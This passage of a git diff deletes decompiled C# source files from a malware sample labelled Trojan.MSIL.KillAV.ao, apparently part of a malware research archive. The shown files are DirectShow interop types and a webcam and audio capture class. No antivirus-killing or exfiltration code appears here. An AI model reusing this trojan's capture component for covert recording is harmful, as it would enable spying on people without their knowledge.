top; - private int right; - private int bottom; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/SeekingCapabilities.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/SeekingCapabilities.cs deleted file mode 100644 index bb33c9ba..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/SeekingCapabilities.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.SeekingCapabilities -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [Flags] - public enum SeekingCapabilities - { - CanSeekAbsolute = 1, - CanSeekForwards = 2, - CanSeekBackwards = 4, - CanGetCurrentPos = 8, - CanGetStopPos = 16, // 0x00000010 - CanGetDuration = 32, // 0x00000020 - CanPlayBackwards = 64, // 0x00000040 - CanDoSegments = 128, // 0x00000080 - Source = 256, // 0x00000100 - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/SeekingFlags.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/SeekingFlags.cs deleted file mode 100644 index ef6db5e9..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/SeekingFlags.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.SeekingFlags -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [Flags] - public enum SeekingFlags - { - NoPositioning = 0, - AbsolutePositioning = 1, - RelativePositioning = 2, - IncrementalPositioning = RelativePositioning | AbsolutePositioning, // 0x00000003 - PositioningBitsMask = IncrementalPositioning, // 0x00000003 - SeekToKeyFrame = 4, - ReturnTime = 8, - Segment = 16, // 0x00000010 - NoFlush = 32, // 0x00000020 - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/TunerInputType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/TunerInputType.cs deleted file mode 100644 index f2774073..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/TunerInputType.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.TunerInputType -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum TunerInputType - { - Cable, - Antenna, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VMR9AspectRatioMode.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VMR9AspectRatioMode.cs deleted file mode 100644 index d1665a4d..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VMR9AspectRatioMode.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.VMR9AspectRatioMode -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum VMR9AspectRatioMode : uint - { - None, - LetterBox, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VMRMode.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VMRMode.cs deleted file mode 100644 index 349a8a41..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VMRMode.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.VMRMode -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum VMRMode : uint - { - Windowed = 1, - Windowless = 2, - Renderless = 4, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VMRMode9.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VMRMode9.cs deleted file mode 100644 index f12d9050..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VMRMode9.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.VMRMode9 -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum VMRMode9 : uint - { - Windowed = 1, - Windowless = 2, - Renderless = 4, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VfwCompressDialogs.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VfwCompressDialogs.cs deleted file mode 100644 index cb1ed277..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VfwCompressDialogs.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.VfwCompressDialogs -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET -{ - public enum VfwCompressDialogs - { - Config = 1, - About = 2, - QueryConfig = 4, - QueryAbout = 8, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VideoInfoHeader.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VideoInfoHeader.cs deleted file mode 100644 index c31dbff2..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VideoInfoHeader.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.VideoInfoHeader -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class VideoInfoHeader - { - public DsRECT SrcRect; - public DsRECT TargetRect; - public int BitRate; - public int BitErrorRate; - public long AvgTimePerFrame; - public BitmapInfoHeader BmiHeader; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VideoInfoHeader2.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VideoInfoHeader2.cs deleted file mode 100644 index 98f8af6e..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VideoInfoHeader2.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.VideoInfoHeader2 -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class VideoInfoHeader2 - { - public DsRECT SrcRect; - public DsRECT TargetRect; - public int BitRate; - public int BitErrorRate; - public long AvgTimePerFrame; - public int InterlaceFlags; - public int CopyProtectFlags; - public int PictAspectRatioX; - public int PictAspectRatioY; - public int ControlFlags; - public int Reserved2; - public BitmapInfoHeader BmiHeader; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VideoStreamConfigCaps.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VideoStreamConfigCaps.cs deleted file mode 100644 index a3dd9eba..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/VideoStreamConfigCaps.cs +++ /dev/null @@ -1,39 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.VideoStreamConfigCaps -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Drawing; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class VideoStreamConfigCaps - { - public Guid Guid; - public AnalogVideoStandard VideoStandard; - public Size InputSize; - public Size MinCroppingSize; - public Size MaxCroppingSize; - public int CropGranularityX; - public int CropGranularityY; - public int CropAlignX; - public int CropAlignY; - public Size MinOutputSize; - public Size MaxOutputSize; - public int OutputGranularityX; - public int OutputGranularityY; - public int StretchTapsX; - public int StretchTapsY; - public int ShrinkTapsX; - public int ShrinkTapsY; - public long MinFrameInterval; - public long MaxFrameInterval; - public int MinBitsPerSecond; - public int MaxBitsPerSecond; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/WaveFormatEx.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/WaveFormatEx.cs deleted file mode 100644 index f8fedfb7..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/WaveFormatEx.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.WaveFormatEx -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class WaveFormatEx - { - public short wFormatTag; - public short nChannels; - public int nSamplesPerSec; - public int nAvgBytesPerSec; - public short nBlockAlign; - public short wBitsPerSample; - public short cbSize; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/AudioCapabilities.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/AudioCapabilities.cs deleted file mode 100644 index c28c884d..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/AudioCapabilities.cs +++ /dev/null @@ -1,71 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.AudioCapabilities -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; -using System; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class AudioCapabilities - { - public int MinimumChannels; - public int MaximumChannels; - public int ChannelsGranularity; - public int MinimumSampleSize; - public int MaximumSampleSize; - public int SampleSizeGranularity; - public int MinimumSamplingRate; - public int MaximumSamplingRate; - public int SamplingRateGranularity; - - internal AudioCapabilities(IAMStreamConfig audioStreamConfig) - { - if (audioStreamConfig == null) - throw new ArgumentNullException(nameof (audioStreamConfig)); - AMMediaType mediaType = (AMMediaType) null; - IntPtr num = IntPtr.Zero; - try - { - int piCount; - int piSize; - int numberOfCapabilities = audioStreamConfig.GetNumberOfCapabilities(out piCount, out piSize); - if (numberOfCapabilities != 0) - Marshal.ThrowExceptionForHR(numberOfCapabilities); - if (piCount <= 0) - throw new NotSupportedException("This audio device does not report capabilities."); - if (piSize > Marshal.SizeOf(typeof (AudioStreamConfigCaps))) - throw new NotSupportedException("Unable to retrieve audio device capabilities. This audio device requires a larger AudioStreamConfigCaps structure."); - if (piCount <= 1) - ; - num = Marshal.AllocCoTaskMem(Marshal.SizeOf(typeof (AudioStreamConfigCaps))); - IntPtr pmt; - int streamCaps = audioStreamConfig.GetStreamCaps(0, out pmt, num); - if (streamCaps != 0) - Marshal.ThrowExceptionForHR(streamCaps); - mediaType = (AMMediaType) Marshal.PtrToStructure(pmt, typeof (AMMediaType)); - AudioStreamConfigCaps structure = (AudioStreamConfigCaps) Marshal.PtrToStructure(num, typeof (AudioStreamConfigCaps)); - this.MinimumChannels = structure.MinimumChannels; - this.MaximumChannels = structure.MaximumChannels; - this.ChannelsGranularity = structure.ChannelsGranularity; - this.MinimumSampleSize = structure.MinimumBitsPerSample; - this.MaximumSampleSize = structure.MaximumBitsPerSample; - this.SampleSizeGranularity = structure.BitsPerSampleGranularity; - this.MinimumSamplingRate = structure.MinimumSampleFrequency; - this.MaximumSamplingRate = structure.MaximumSampleFrequency; - this.SamplingRateGranularity = structure.SampleFrequencyGranularity; - } - finally - { - if (num != IntPtr.Zero) - Marshal.FreeCoTaskMem(num); - IntPtr zero = IntPtr.Zero; - if (mediaType != null) - DsUtils.FreeAMMediaType(mediaType); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/AudioSource.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/AudioSource.cs deleted file mode 100644 index 8639d89d..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/AudioSource.cs +++ /dev/null @@ -1,57 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.AudioSource -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; -using System; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class AudioSource : Source - { - internal IPin Pin; - - internal AudioSource(IPin pin) - { - this.Pin = pin is IAMAudioInputMixer ? pin : throw new NotSupportedException("The input pin does not support the IAMAudioInputMixer interface"); - this.name = this.getName(pin); - } - - public override bool Enabled - { - get - { - bool pfEnable; - ((IAMAudioInputMixer) this.Pin).get_Enable(out pfEnable); - return pfEnable; - } - set => ((IAMAudioInputMixer) this.Pin).put_Enable(value); - } - - private string getName(IPin pin) - { - string name = "Unknown pin"; - PinInfo pInfo = new PinInfo(); - int errorCode = pin.QueryPinInfo(out pInfo); - if (errorCode == 0) - name = pInfo.name ?? ""; - else - Marshal.ThrowExceptionForHR(errorCode); - if (pInfo.filter != null) - Marshal.ReleaseComObject((object) pInfo.filter); - pInfo.filter = (IBaseFilter) null; - return name; - } - - public override void Dispose() - { - if (this.Pin != null) - Marshal.ReleaseComObject((object) this.Pin); - this.Pin = (IPin) null; - base.Dispose(); - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Capture.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Capture.cs deleted file mode 100644 index 5bde62f9..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Capture.cs +++ /dev/null @@ -1,925 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.Capture -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; -using System; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Threading; -using System.Windows.Forms; - -namespace DirectX.Capture -{ - public class Capture : Form, ISampleGrabberCB - { - private const int WM_GRAPHNOTIFY = 32769; - protected DirectX.Capture.Capture.GraphState graphState = DirectX.Capture.Capture.GraphState.Null; - protected bool isPreviewRendered = false; - protected bool isCaptureRendered = false; - protected bool wantPreviewRendered = false; - protected bool wantCaptureRendered = false; - protected bool wantCaptureFrame = false; - protected int rotCookie = 0; - protected Filter videoDevice = (Filter) null; - protected Filter audioDevice = (Filter) null; - protected Filter videoCompressor = (Filter) null; - protected Filter audioCompressor = (Filter) null; - protected string filename = ""; - protected Control previewWindow = (Control) null; - protected VideoCapabilities videoCaps = (VideoCapabilities) null; - protected AudioCapabilities audioCaps = (AudioCapabilities) null; - protected SourceCollection videoSources = (SourceCollection) null; - protected SourceCollection audioSources = (SourceCollection) null; - protected PropertyPageCollection propertyPages = (PropertyPageCollection) null; - protected Tuner tuner = (Tuner) null; - protected IGraphBuilder graphBuilder; - protected IMediaControl mediaControl; - protected IVideoWindow videoWindow; - protected ICaptureGraphBuilder2 captureGraphBuilder = (ICaptureGraphBuilder2) null; - protected ISampleGrabber sampGrabber = (ISampleGrabber) null; - protected IAMStreamConfig videoStreamConfig = (IAMStreamConfig) null; - protected IAMStreamConfig audioStreamConfig = (IAMStreamConfig) null; - protected IBaseFilter videoDeviceFilter = (IBaseFilter) null; - protected IBaseFilter videoCompressorFilter = (IBaseFilter) null; - protected IBaseFilter audioDeviceFilter = (IBaseFilter) null; - protected IBaseFilter audioCompressorFilter = (IBaseFilter) null; - protected IBaseFilter muxFilter = (IBaseFilter) null; - protected IBaseFilter baseGrabFlt = (IBaseFilter) null; - protected IFileSinkFilter fileWriterFilter = (IFileSinkFilter) null; - protected VideoInfoHeader videoInfoHeader; - protected byte[] savedArray; - protected bool capturedFrame = false; - protected int bufferedSize; - protected bool captured = true; - protected bool firstFrame = true; - protected bool renderStream = false; - private IMediaEventEx mediaEvt; - public PictureBox ImageCaptured; - - public bool Capturing => this.graphState == DirectX.Capture.Capture.GraphState.Capturing; - - public bool Cued => this.isCaptureRendered && this.graphState == DirectX.Capture.Capture.GraphState.Rendered; - - public bool Stopped => this.graphState != DirectX.Capture.Capture.GraphState.Capturing; - - public string Filename - { - get => this.filename; - set - { - this.assertStopped(); - this.filename = value; - if (this.fileWriterFilter == null) - return; - AMMediaType pmt = new AMMediaType(); - int curFile = this.fileWriterFilter.GetCurFile(out string _, pmt); - if (curFile < 0) - Marshal.ThrowExceptionForHR(curFile); - if (pmt.formatSize > 0) - Marshal.FreeCoTaskMem(pmt.formatPtr); - int errorCode = this.fileWriterFilter.SetFileName(this.filename, pmt); - if (errorCode < 0) - Marshal.ThrowExceptionForHR(errorCode); - } - } - - public Control PreviewWindow - { - get => this.previewWindow; - set - { - this.assertStopped(); - this.derenderGraph(); - this.previewWindow = value; - this.wantPreviewRendered = this.previewWindow != null && this.videoDevice != null; - this.renderStream = false; - this.renderGraph(); - this.startPreviewIfNeeded(); - } - } - - public VideoCapabilities VideoCaps - { - get - { - if (this.videoCaps == null) - { - if (this.videoStreamConfig != null) - { - try - { - this.videoCaps = new VideoCapabilities(this.videoStreamConfig); - } - catch (Exception ex) - { - } - } - } - return this.videoCaps; - } - } - - public AudioCapabilities AudioCaps - { - get - { - if (this.audioCaps == null) - { - if (this.audioStreamConfig != null) - { - try - { - this.audioCaps = new AudioCapabilities(this.audioStreamConfig); - } - catch (Exception ex) - { - } - } - } - return this.audioCaps; - } - } - - public Filter VideoDevice => this.videoDevice; - - public Filter AudioDevice => this.audioDevice; - - public Filter VideoCompressor - { - get => this.videoCompressor; - set - { - this.assertStopped(); - this.destroyGraph(); - this.videoCompressor = value; - this.renderGraph(); - this.startPreviewIfNeeded(); - } - } - - public Filter AudioCompressor - { - get => this.audioCompressor; - set - { - this.assertStopped(); - this.destroyGraph(); - this.audioCompressor = value; - this.renderGraph(); - this.startPreviewIfNeeded(); - } - } - - public Source VideoSource - { - get => this.VideoSources.CurrentSource; - set => this.VideoSources.CurrentSource = value; - } - - public Source AudioSource - { - get => this.AudioSources.CurrentSource; - set => this.AudioSources.CurrentSource = value; - } - - public SourceCollection VideoSources - { - get - { - if (this.videoSources == null) - { - try - { - this.videoSources = this.videoDevice == null ? new SourceCollection() : new SourceCollection(this.captureGraphBuilder, this.videoDeviceFilter, true); - } - catch (Exception ex) - { - } - } - return this.videoSources; - } - } - - public SourceCollection AudioSources - { - get - { - if (this.audioSources == null) - { - try - { - this.audioSources = this.audioDevice == null ? new SourceCollection() : new SourceCollection(this.captureGraphBuilder, this.audioDeviceFilter, false); - } - catch (Exception ex) - { - } - } - return this.audioSources; - } - } - - public PropertyPageCollection PropertyPages - { - get - { - if (this.propertyPages == null) - { - try - { - this.propertyPages = new PropertyPageCollection(this.captureGraphBuilder, this.videoDeviceFilter, this.audioDeviceFilter, this.videoCompressorFilter, this.audioCompressorFilter, this.VideoSources, this.AudioSources); - } - catch (Exception ex) - { - } - } - return this.propertyPages; - } - } - - public Tuner Tuner => this.tuner; - - public double FrameRate - { - get => 10000000.0 / (double) (long) this.getStreamConfigSetting(this.videoStreamConfig, "AvgTimePerFrame"); - set => this.setStreamConfigSetting(this.videoStreamConfig, "AvgTimePerFrame", (object) (long) (10000000.0 / value)); - } - - public Size FrameSize - { - get - { - BitmapInfoHeader streamConfigSetting = (BitmapInfoHeader) this.getStreamConfigSetting(this.videoStreamConfig, "BmiHeader"); - return new Size(streamConfigSetting.Width, streamConfigSetting.Height); - } - set => this.setStreamConfigSetting(this.videoStreamConfig, "BmiHeader", (object) ((BitmapInfoHeader) this.getStreamConfigSetting(this.videoStreamConfig, "BmiHeader") with - { - Width = value.Width, - Height = value.Height - })); - } - - public short AudioChannels - { - get => (short) this.getStreamConfigSetting(this.audioStreamConfig, "nChannels"); - set => this.setStreamConfigSetting(this.audioStreamConfig, "nChannels", (object) value); - } - - public int AudioSamplingRate - { - get => (int) this.getStreamConfigSetting(this.audioStreamConfig, "nSamplesPerSec"); - set => this.setStreamConfigSetting(this.audioStreamConfig, "nSamplesPerSec", (object) value); - } - - public short AudioSampleSize - { - get => (short) this.getStreamConfigSetting(this.audioStreamConfig, "wBitsPerSample"); - set => this.setStreamConfigSetting(this.audioStreamConfig, "wBitsPerSample", (object) value); - } - - public event EventHandler CaptureComplete; - - public event DirectX.Capture.Capture.FrameCapHandler FrameCaptureComplete; - - public Capture(Filter videoDevice, Filter audioDevice) - { - this.videoDevice = videoDevice; - this.audioDevice = audioDevice; - this.Filename = this.getTempFilename(); - this.ImageCaptured = new PictureBox(); - this.createGraph(); - } - - ~Capture() => this.Dispose(); 